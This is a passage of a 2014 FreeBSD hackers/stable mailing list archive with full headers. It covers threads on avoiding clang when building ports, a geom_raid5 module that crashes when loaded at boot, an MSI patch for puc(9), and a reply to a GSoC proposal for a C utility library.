to handle the drive size. I'm sorry, but I have forgotten how to TELL FreeBSD how much memory it can use during boot tho. But if you know, then this might help you too. Hope this helps. --Chris > > -- > // Black Lion AKA Lev Serebryakov > > _______________________________________________ > freebsd-stable@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-stable > To unsubscribe, send any mail to "freebsd-stable-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Tue Feb 25 23:31:39 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E2260518; Tue, 25 Feb 2014 23:31:39 +0000 (UTC) Received: from udns.ultimateDNS.NET (ultimatedns.net [209.180.214.225]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id ADD2B185E; Tue, 25 Feb 2014 23:31:39 +0000 (UTC) Received: from udns.ultimateDNS.NET (localhost [127.0.0.1]) by udns.ultimateDNS.NET (8.14.5/8.14.5) with ESMTP id s1PNW1hT004683; Tue, 25 Feb 2014 15:32:07 -0800 (PST) (envelope-from bsd-lists@bsdforge.com) Received: (from www@localhost) by udns.ultimateDNS.NET (8.14.5/8.14.5/Submit) id s1PNVuPs004682; Tue, 25 Feb 2014 15:31:56 -0800 (PST) (envelope-from bsd-lists@bsdforge.com) Received: from demon.dnswatch.com ([209.180.214.229]) (UDNSMS authenticated user chrish) by ultimatedns.net with HTTP; Tue, 25 Feb 2014 15:31:56 -0800 (PST) Message-ID: <47ae4e8ed445c7e6fc46796d46b9a928.authenticated@ultimatedns.net> Date: Tue, 25 Feb 2014 15:31:56 -0800 (PST) Subject: How to prevent use of clang && llvm? From: "Chris H" To: "freebsd-hackers" , "freebsd-stable" User-Agent: UDNSMS/2.0.3 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Feb 2014 23:31:40 -0000 Greetings, I'm in the process of performing an upgrade, and ran a preliminary check to see what would be performed. During the process I encountered a dialog(1) for both clang, and llvm3. It was for textproc/clucene. Which wants devel/boost-libs, which depends on devel/boost-jam. I didn't require clang, or llvm3 with the initial install of textproc/clucene (that I can see/recall). But am presented with the dialog this time. I have WITHOUT_CLANG=true in /etc/src.conf. Do I need to also add it to /etc/make.conf? Anything else? Thank you for all your time, and consideration. --Chris From owner-freebsd-hackers@FreeBSD.ORG Wed Feb 26 00:04:37 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C7A2AAF5; Wed, 26 Feb 2014 00:04:37 +0000 (UTC) Received: from lor.one-eyed-alien.net (lor.one-eyed-alien.net [69.66.77.232]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 0B9BE1ACA; Wed, 26 Feb 2014 00:04:36 +0000 (UTC) Received: from lor.one-eyed-alien.net (localhost [127.0.0.1]) by lor.one-eyed-alien.net (8.14.7/8.14.7) with ESMTP id s1Q04LX1081335; Tue, 25 Feb 2014 18:04:21 -0600 (CST) (envelope-from brooks@lor.one-eyed-alien.net) Received: (from brooks@localhost) by lor.one-eyed-alien.net (8.14.7/8.14.7/Submit) id s1Q04LCi081334; Tue, 25 Feb 2014 18:04:21 -0600 (CST) (envelope-from brooks) Date: Tue, 25 Feb 2014 18:04:21 -0600 From: Brooks Davis To: Chris H Subject: Re: How to prevent use of clang && llvm? Message-ID: <20140226000421.GA80747@lor.one-eyed-alien.net> References: <47ae4e8ed445c7e6fc46796d46b9a928.authenticated@ultimatedns.net> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="tThc/1wpZn/ma/RB" Content-Disposition: inline In-Reply-To: <47ae4e8ed445c7e6fc46796d46b9a928.authenticated@ultimatedns.net> User-Agent: Mutt/1.5.21 (2010-09-15) Cc: freebsd-hackers , freebsd-stable X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Feb 2014 00:04:37 -0000 --tThc/1wpZn/ma/RB Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Tue, Feb 25, 2014 at 03:31:56PM -0800, Chris H wrote: > Greetings, > I'm in the process of performing an upgrade, and ran a preliminary check > to see what would be performed. During the process I encountered a > dialog(1) for both clang, and llvm3. It was for textproc/clucene. Which > wants devel/boost-libs, which depends on devel/boost-jam. I didn't require > clang, or llvm3 with the initial install of textproc/clucene (that I can see/recall). > But am presented with the dialog this time. I have WITHOUT_CLANG=true > in /etc/src.conf. Do I need to also add it to /etc/make.conf? Anything else? It looks like this is because boots requires a C++11 compiler and the default C++11 compiler is clang. From reading the source I deduce that FAVORITE_COMPILER=gcc in your make.conf may achieve the effect you require. -- Brooks --tThc/1wpZn/ma/RB Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.11 (FreeBSD) iKYEARECAGYFAlMNL4RfFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3Bl bnBncC5maWZ0aGhvcnNlbWFuLm5ldDY1NUQ1MTlDMjZBNzgyRTcyNTI5OUJGMDVE OEU4QkU5RjIzODFBRDQACgkQXY6L6fI4GtQ64gCgis5V/JlVAGwPHLcWtc4M1Zak 2QcAoI97y70X6jpJPErTKRedURL56fIC =oQUp -----END PGP SIGNATURE----- --tThc/1wpZn/ma/RB-- From owner-freebsd-hackers@FreeBSD.ORG Wed Feb 26 00:12:41 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 38E01D29; Wed, 26 Feb 2014 00:12:41 +0000 (UTC) Received: from h2.funkthat.com (gate2.funkthat.com [208.87.223.18]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id EF10A1B81; Wed, 26 Feb 2014 00:12:40 +0000 (UTC) Received: from h2.funkthat.com (localhost [127.0.0.1]) by h2.funkthat.com (8.14.3/8.14.3) with ESMTP id s1Q0CcVk025024 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 25 Feb 2014 16:12:39 -0800 (PST) (envelope-from jmg@h2.funkthat.com) Received: (from jmg@localhost) by h2.funkthat.com (8.14.3/8.14.3/Submit) id s1Q0CcOZ025023; Tue, 25 Feb 2014 16:12:38 -0800 (PST) (envelope-from jmg) Date: Tue, 25 Feb 2014 16:12:38 -0800 From: John-Mark Gurney To: Lev Serebryakov Subject: Re: What is difference between loading module with loader and loading module wtih kldload? Message-ID: <20140226001238.GS92037@funkthat.com> Mail-Followup-To: Lev Serebryakov , hackers@freebsd.org, stable@freebsd.org References: <9890815.20140226013107@serebryakov.spb.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <9890815.20140226013107@serebryakov.spb.ru> User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 7.2-RELEASE i386 X-PGP-Fingerprint: 54BA 873B 6515 3F10 9E88 9322 9CB1 8F74 6D3F A396 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ X-Resume: http://resnet.uoregon.edu/~gurney_j/resume.html X-TipJar: bitcoin:13Qmb6AeTgQecazTWph4XasEsP7nGRbAPE X-to-the-FBI-CIA-and-NSA: HI! HOW YA DOIN? can i haz chizburger? X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.2 (h2.funkthat.com [127.0.0.1]); Tue, 25 Feb 2014 16:12:39 -0800 (PST) Cc: stable@freebsd.org, hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Feb 2014 00:12:41 -0000 Lev Serebryakov wrote this message on Wed, Feb 26, 2014 at 01:31 +0400: > I've upgraded my fileserver to 10-STABLE and got very strange (but > very-very painful) problem, which I could not reproduce on virtual machine > (VirtualBox). > > I'm using geom_raid5 module (and I'm its maintainer, yes) and module, built > for 10-STABLE (after world & kernel build & install & reboot), and loaded > via /boot/loader.conf is reason to almost instant crash after boot. > Sometimes system mounts filesystems before crash and sometimes not. Most of > time it is "page write: page not present", in different places. PS/2 > keyboard is always blocked after that, I could not drop to debugger. No > memory dump performed. Several times it turend off video output (!) right > after crash. Can you give us an exact error message? I am not finding the string: "page write: page not present" anywhere in the tree, on close thing is in trap, where it could be user/supervisor write/read instruction/data page not present, where words seperated by slashes could be one or the other... This sounds like it could be a buffer overflow... Could you try turning on INVARIANTS and other related debugging on 10-STABLE since these were turned off for the RELEASE? Also uname -a would be helpful to know which arch you are on... > But if I boot without this module, drop to single-user mode, load module > with kldload and continue booting with "exit" everything work smoothly for > hours! > > I understand, that it it some incompatibility between module new kernel, > but I could not reproduce it on VirtualBox instance, and I'm puzzled, that > this crash does not occur if module loaded by kldload! Maybe, here is some > hint in this? There are a few differences between a boot time loaded module and a runtime loaded module... The linker runs earlier at boot time to link up the module before things start, the module may be partly run w/ cold set (which informs us the interrupts and other things may not be fully working).. Sysinits are run in a slightly different order (i.e. kernel SYSINITs that appear after your modules will be run first)... -- John-Mark Gurney Voice: +1 415 225 5579 "All that I will do, has been done, All that I have, has not." From owner-freebsd-hackers@FreeBSD.ORG Wed Feb 26 00:19:46 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3C6211A2; Wed, 26 Feb 2014 00:19:46 +0000 (UTC) Received: from udns.ultimateDNS.NET (ultimatedns.net [209.180.214.225]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 053BD1BE3; Wed, 26 Feb 2014 00:19:45 +0000 (UTC) Received: from udns.ultimateDNS.NET (localhost [127.0.0.1]) by udns.ultimateDNS.NET (8.14.5/8.14.5) with ESMTP id s1Q0K7hq007637; Tue, 25 Feb 2014 16:20:13 -0800 (PST) (envelope-from bsd-lists@bsdforge.com) Received: (from www@localhost) by udns.ultimateDNS.NET (8.14.5/8.14.5/Submit) id s1Q0K21f007631; Tue, 25 Feb 2014 16:20:02 -0800 (PST) (envelope-from bsd-lists@bsdforge.com) Received: from demon.dnswatch.com ([209.180.214.229]) (UDNSMS authenticated user chrish) by ultimatedns.net with HTTP; Tue, 25 Feb 2014 16:20:02 -0800 (PST) Message-ID: In-Reply-To: <20140226000421.GA80747@lor.one-eyed-alien.net> References: <47ae4e8ed445c7e6fc46796d46b9a928.authenticated@ultimatedns.net> <20140226000421.GA80747@lor.one-eyed-alien.net> Date: Tue, 25 Feb 2014 16:20:02 -0800 (PST) Subject: Re: How to prevent use of clang && llvm? From: "Chris H" To: "Brooks Davis" User-Agent: UDNSMS/2.0.3 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Cc: freebsd-hackers , freebsd-stable X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Feb 2014 00:19:46 -0000 > On Tue, Feb 25, 2014 at 03:31:56PM -0800, Chris H wrote: >> Greetings, >> I'm in the process of performing an upgrade, and ran a preliminary check >> to see what would be performed. During the process I encountered a >> dialog(1) for both clang, and llvm3. It was for textproc/clucene. Which >> wants devel/boost-libs, which depends on devel/boost-jam. I didn't require >> clang, or llvm3 with the initial install of textproc/clucene (that I can see/recall). >> But am presented with the dialog this time. I have WITHOUT_CLANG=true >> in /etc/src.conf. Do I need to also add it to /etc/make.conf? Anything else? > > It looks like this is because boots requires a C++11 compiler and the > default C++11 compiler is clang. From reading the source I deduce that > FAVORITE_COMPILER=gcc in your make.conf may achieve the effect you > require. You rock! I Really appreciate your taking the time to help. --Chris > > -- Brooks > From owner-freebsd-hackers@FreeBSD.ORG Wed Feb 26 07:02:35 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id F3D9912E; Wed, 26 Feb 2014 07:02:34 +0000 (UTC) Received: from onlyone.friendlyhosting.spb.ru (onlyone.friendlyhosting.spb.ru [IPv6:2a01:4f8:131:60a2::2]) by mx1.freebsd.org (Postfix) with ESMTP id B3D161394; Wed, 26 Feb 2014 07:02:34 +0000 (UTC) Received: from lion.home.serebryakov.spb.ru (unknown [IPv6:2001:470:923f:1:2572:353:cc5e:8eee]) (Authenticated sender: lev@serebryakov.spb.ru) by onlyone.friendlyhosting.spb.ru (Postfix) with ESMTPSA id C67FA4AC1C; Wed, 26 Feb 2014 11:02:26 +0400 (MSK) Date: Wed, 26 Feb 2014 11:02:22 +0400 From: Lev Serebryakov Organization: FreeBSD X-Priority: 3 (Normal) Message-ID: <1026513823.20140226110222@serebryakov.spb.ru> To: hackers@freebsd.org, stable@freebsd.org Subject: Re: What is difference between loading module with loader and loading module wtih kldload? In-Reply-To: <9890815.20140226013107@serebryakov.spb.ru> References: <9890815.20140226013107@serebryakov.spb.ru> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: lev@FreeBSD.org List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Feb 2014 07:02:35 -0000 Hello, Lev. You wrote 26 =D1=84=D0=B5=D0=B2=D1=80=D0=B0=D0=BB=D1=8F 2014 =D0=B3., 1:31:= 07: LS> But if I boot without this module, drop to single-user mode, load modu= le LS> with kldload and continue booting with "exit" everything work smoothly = for LS> hours! But then crashes too :( --=20 // Black Lion AKA Lev Serebryakov From owner-freebsd-hackers@FreeBSD.ORG Wed Feb 26 11:14:06 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 33C2C6E1; Wed, 26 Feb 2014 11:14:06 +0000 (UTC) Received: from mail-oa0-x233.google.com (mail-oa0-x233.google.com [IPv6:2607:f8b0:4003:c02::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id C97811C2D; Wed, 26 Feb 2014 11:14:05 +0000 (UTC) Received: by mail-oa0-f51.google.com with SMTP id j17so646344oag.24 for ; Wed, 26 Feb 2014 03:14:05 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=f/1eCeEUFmzcdD+o/ruruDvZ0b9eBpAvPk64n7NdVys=; b=ePn8vsgjeGOceIhs5qLuWJxskc8jweqeAMCyESAYs3o/AGE6S+3x4ykFmQM3nQLGV+ s54Fp25nykLfnAbHPooXxK55USc28iB3dK2s7qYI2eQJR7affTzJZr41lH1WzqWxRtgy HJegYaAceN+8WBhoK9nkvIbS5oHO0QD9vOSU9VjR6z7mqStSjaiPYAkJR0O6cxr+QJF+ kJlTX3tpnbil2LsPS5ecqK3c8i2m3dp/ElZTS3/Xhf3PpyK9xgn17vBpcCkM1m7r3GTC DY7gQeNP+Mpf/cNuEuBkggUc60PZloHEYwZWWOCgFA1rfHVt96bVDgc9ojNDjGzQejjs 7Ldg== MIME-Version: 1.0 X-Received: by 10.60.58.193 with SMTP id t1mr33625oeq.78.1393413245142; Wed, 26 Feb 2014 03:14:05 -0800 (PST) Received: by 10.182.80.7 with HTTP; Wed, 26 Feb 2014 03:14:05 -0800 (PST) In-Reply-To: <9890815.20140226013107@serebryakov.spb.ru> References: <9890815.20140226013107@serebryakov.spb.ru> Date: Wed, 26 Feb 2014 12:14:05 +0100 Message-ID: Subject: Re: What is difference between loading module with loader and loading module wtih kldload? From: Oliver Pinter To: lev@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Cc: stable@freebsd.org, hackers@freebsd.org, mav@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Feb 2014 11:14:06 -0000 On 2/25/14, Lev Serebryakov wrote: > Hello, Hackers. > > I've upgraded my fileserver to 10-STABLE and got very strange (but > very-very painful) problem, which I could not reproduce on virtual machine > (VirtualBox). > > I'm using geom_raid5 module (and I'm its maintainer, yes) and module, > built > for 10-STABLE (after world & kernel build & install & reboot), and loaded > via /boot/loader.conf is reason to almost instant crash after boot. > Sometimes system mounts filesystems before crash and sometimes not. Most of > time it is "page write: page not present", in different places. PS/2 > keyboard is always blocked after that, I could not drop to debugger. No > memory dump performed. Several times it turend off video output (!) right > after crash. I have a similar crash with geom_sched. This introduced after fine graded geom locks. > > But if I boot without this module, drop to single-user mode, load module > with kldload and continue booting with "exit" everything work smoothly for > hours! > > I understand, that it it some incompatibility between module new kernel, > but I could not reproduce it on VirtualBox instance, and I'm puzzled, that > this crash does not occur if module loaded by kldload! Maybe, here is some > hint in this? > > -- > // Black Lion AKA Lev Serebryakov > > _______________________________________________ > freebsd-stable@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-stable > To unsubscribe, send any mail to "freebsd-stable-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Wed Feb 26 19:22:49 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8C1AA974 for ; Wed, 26 Feb 2014 19:22:49 +0000 (UTC) Received: from mail-ob0-x232.google.com (mail-ob0-x232.google.com [IPv6:2607:f8b0:4003:c01::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 58D94115A for ; Wed, 26 Feb 2014 19:22:49 +0000 (UTC) Received: by mail-ob0-f178.google.com with SMTP id va2so1251970obc.23 for ; Wed, 26 Feb 2014 11:22:48 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=tRXbytJ8oBZm9BMrTQhDsVHiYnZVekgdNSdxgq5cLKs=; b=QY4mxLSAPtiEM7UrGSV8YD7cjq6K9zX+gc5MRSOL7DTimqMlbrltkwJ5ucPxp45mII T3B7QiDfZFISjFVhESFwSyHDTGto7/R0lZ5mCaNGsO2XY5Hm9mC6XPW0dfM9Zkt1sHFV awlQ8/3NipZrNyMpmeCWi8TkRRnxDhUVdZITBKhmw3XhlL6lQ0pXcoL+y80D5N0M6FcI mtxR72JwGL1QW/h3hjM5Sa1Vgc/MwtptZOgIxgCzdmGYv/KIuqOSJhANPLQzur+qME9n 45xebqbMyguO0aRbk3mGMMiRZvGXZ5xQ4WBqG9MoSoGApARhD4ojw6wF+bt0sG7fUuW3 eISg== MIME-Version: 1.0 X-Received: by 10.182.24.69 with SMTP id s5mr4267720obf.35.1393442568394; Wed, 26 Feb 2014 11:22:48 -0800 (PST) Received: by 10.76.130.196 with HTTP; Wed, 26 Feb 2014 11:22:48 -0800 (PST) Date: Wed, 26 Feb 2014 14:22:48 -0500 Message-ID: Subject: [PATCH] Add MSI support to puc(9) From: Ryan Stone To: "freebsd-hackers@freebsd.org" Content-Type: text/plain; charset=ISO-8859-1 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Feb 2014 19:22:49 -0000 The Exar XR17V358 is a PCIe device and it supports a single MSI interrupt. This patch will make puc(9) use an MSI interrupt on devices that declare that they support it: http://people.freebsd.org/~rstone/patches/puc_msi.diff This patch may be overly paranoid; I was worried that it's wasn't guaranteed that I could always call pci_alloc_msi() (forgetting that the P in puc stands for PCI) so I added a new puc_cfg_cmd that individual device config methods could implement to advertise support rather than depending on pci_alloc_msi() to behave sanely. I have tested the patch on both a XR17V358 and a XR17V258 (which is a legacy PCI device that does not support PCI) From owner-freebsd-hackers@FreeBSD.ORG Wed Feb 26 19:23:49 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 87772A7A for ; Wed, 26 Feb 2014 19:23:49 +0000 (UTC) Received: from sender1.zohomail.com (sender1.zohomail.com [72.5.230.103]) by mx1.freebsd.org (Postfix) with ESMTP id 6AFF11179 for ; Wed, 26 Feb 2014 19:23:49 +0000 (UTC) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=zapps768; d=zoho.com; h=message-id:date:from:user-agent:mime-version:to:subject:references:in-reply-to:content-type; b=E2e9nP+6n/F14nMqpFYk+9B0oVieci+drbc0YncJzgJc1pNmWKZuoD7oyBe8/F45qBTGxgvlT8g1 3KoQ56SIA9NaZ+lRny9TUHYwn6sNp08crUje2f8Qp6Q6HbDD7/4S Received: from [192.168.1.110] (194.42.110.1 [194.42.110.1]) by mx.zohomail.com with SMTPS id 1393441548728535.9336148305827; Wed, 26 Feb 2014 11:05:48 -0800 (PST) Message-ID: <530E3B09.2060602@zoho.com> Date: Wed, 26 Feb 2014 20:05:45 +0100 From: =?UTF-8?B?xYF1a2FzeiBXw7NqY2lr?= User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: ghostmansd@gmail.com, hackers@freebsd.org Subject: Re: GSoC proposal: Quirinus C library (qc) References: In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-ZohoMailClient: External X-Zoho-Virus-Status: 2 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Feb 2014 19:23:49 -0000 W dniu 2014-02-25 09:24, Dmitry Selyutin pisze: > Hello everyone! > > My name is Dmitry, I'm 22 years old student from Lomonosov Moscow State > University of Russia. This message is addressed mainly to C connoiseurs, > yet I think other people may find it interesting. It's a GSoC proposal. > It's a pity that for language like C we generally don't have something > universal like Boost, so we have to implement some common functions from > scratch or introduce new dependencies. We have Glib, which is used mainly > by Gnome developers (though it is a standalone library) and LGPL-ed, which > is not as liberal as Boost's license. We also have APR, which seems to be a > bit more comprehensive and convenient, yet it is not so well-known as Glib. > I'm in process of implementing a something like Boost for ANSI C (though I > don't pretend this library to share Boost's comprehensiveness). Several > ideas I find useful are: > > 1. Strict and universal interface. Each function begins with qc_ prefix, > followed by type if function is type-related. Most of types (except > enum-typedef'ed ones) have three common functions (replace _type_ with the > necessary type name, e.g. _bytes_): > a. Constructor: void * qc_type_construct(void). Allocate object instance > and initialize it to default value. > b. Destructor: void qc_type_destruct(void * pointer). Deallocate memory > allocated for object and its members. > c. Replicator: void * qc_type_replicate(void const * pointer). Replicate > object, copying its data to new allocated object, i.e. clone. > Most of types also have _import_ and _export_ functions, which allow to > fill allocated object with the desired data (e.g. fill bytes array from > null-terminated char string) or export data to another type. Almost all > enum-typedef'ed types also have _import_ and _export_ functions to retrieve > a key value corresponding to string. > > 2. Common and universal error type, qc_error. Such errors can be generated > from errno values as well as from Windows API errors. > Almost all functions from qc library except for the three common functions > (constructor, destructor, replicator) return qc_error code and set specific > qc_errno variable to this code. > It is now possible to write such constructions: > if (qc_bytes_import_str(bytes_instance, "Hello, world!")) > qc_errormsg(qc_errno, "error check"); > Global variable qc_errno is implemented in terms of multithreading > applications, it is unique for every running thread. > > 3. Clear distinction between byte and Unicode strings (qc_byte and qc_ucs > types for characters, where qc_byte has exactly 8-bit width and qc_ucs has > exactly 32-bit width). > Charsets are just enumeration, e.g. QC_ENCODING_UTF8, > QC_ENCODING_ISO_8859_4, etc., yet it is possible to lookup the desired > encoding using qc_encoding_import. If encoding is known under several > names, they are handled alltogether, i.e. QC_ENCODING_ASCII will be > returned for any of "ASCII", "iso-ir-6", "ANSI_X3.4-1968", "ISO646-US", > etc. Register doesn't matter. > Two new types, qc_bytes and qc_unicode are provided, in order to store > binary and Unicode data. It is possible to store null characters inside > such objects. It is similar to C++ string and C++ vector classes. > > 4. Universal file system path type. It is possible to achieve > cross-platformness using such path types, i.e. it is possible to make > directories, links, symlinks, remove files, directories, etc. regardless of > platform path API. > > 5. i18n support must be embedded with qc library. Locales, timezones, day > and months names, etc. must be provided too, in several forms if necessary. > i18n functions work with qc_unicode type, so charset conversion problems > won't exist. > > 6. Multithreading support if platform permits it. On POSIX we use pthreads, > on Windows we use its API for multithreading. I'm also thinking about green > threads implementation. Thread local storage is already implemented, yet > there is still a lot work to be done with threads, mutexes, etc. > > 7. Multiprecision arithmetics. I'm using GMP to achieve it, yet I'm > planning to switch to something BSD-like or to implement it from scratch > (that probably would be better, since library doesn't introduce any > dependencies except GMP). > > 8. Ternary logic almost everywhere. Being fan of Russian Setun computer, > I've started this library as implementation of ternary logic operations. > When I've realized that there is still much to be done in other fields, > I've already concluded that ternary logic is suitable for a wide set of > other operations, e.g. comparison, determining type of strings, endianness, > etc. I think that I'll leave type qc_trit, since I've found it extremely > useful. > > 9. A lot of other things to be done, such as unified I/O streams which > provide compression/transformation filters, protocols, math library, etc. > > > Why I'm writing such letter to FreeBSD? I'm pretty sure that FreeBSD highly > needs such library, since we try to use BSD-like license and yet to > implement things that exist in GNU world. The most common example is GNU > readline library, yet I think there is a lot of libraries that we > reimplemented just to let some projects suit BSD philosophy. We can make a > good library, which can be used a lot in different projects, yet it will > field everyone like Boost. The nature of C language itself helps us to keep > this library much more tiny than Boost library; I also think that we can > limit our support with POSIX-(almost-)compatible platforms and Windows. > > I've already done a lot of work, but it is hard to make decisions without > advice or discussion, so I've thought about to enter GSoC this year like I > did two years ago when I've reimplemented gnulib-tool for FSF. This project > is much more interesting for me, since I want to upgrade my C skills, get > known BSD world better and provide a good cross-platform library which may > be useful to almost everyone. Since I've already finished my volunteer's > job in Sochi (I've worked as technologist volunteer), I'm really want to > make something new for other people to be useful. > > If you are interested in my project, here is repository at GitHub: > https://github.com/ghostmansd/quirinus. I guess I'll later rename it to > https://github.com/ghostmansd/qc, yet it doesn't matters. If you're > interested in my previous GSoC work, you can find it here: > https://github.com/ghostmansd/gnulib-python. If you want to get to know me > better from any side (my philological studies in Lomonosov Moscow > University, GSoC participation, Sochi volunteer job, etc.), you can write > me a email; I'd be very glad. > > Thanks for reading such a long letter! > Hi Dmitry, I'd like to say I personally like the idea of having glibc counterpart in FreeBSD (and possibly other OSes). It's not quite sure though whether you're looking for help with development or review ? Perhaps with something else ? Sincerely, -ĹW From owner-freebsd-hackers@FreeBSD.ORG Wed Feb 26 20:02:02 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8C7665C0 for ; Wed, 26 Feb 2014 20:02:02 +0000 (UTC) Received: from mail-we0-x22a.google.com (mail-we0-x22a.google.com [IPv6:2a00:1450:400c:c03::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 0E8B6161C for ; Wed, 26 Feb 2014 20:02:01 +0000 (UTC) Received: by mail-we0-f170.google.com with SMTP id w62so2091431wes.15 for ; Wed, 26 Feb 2014 12:02:00 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; 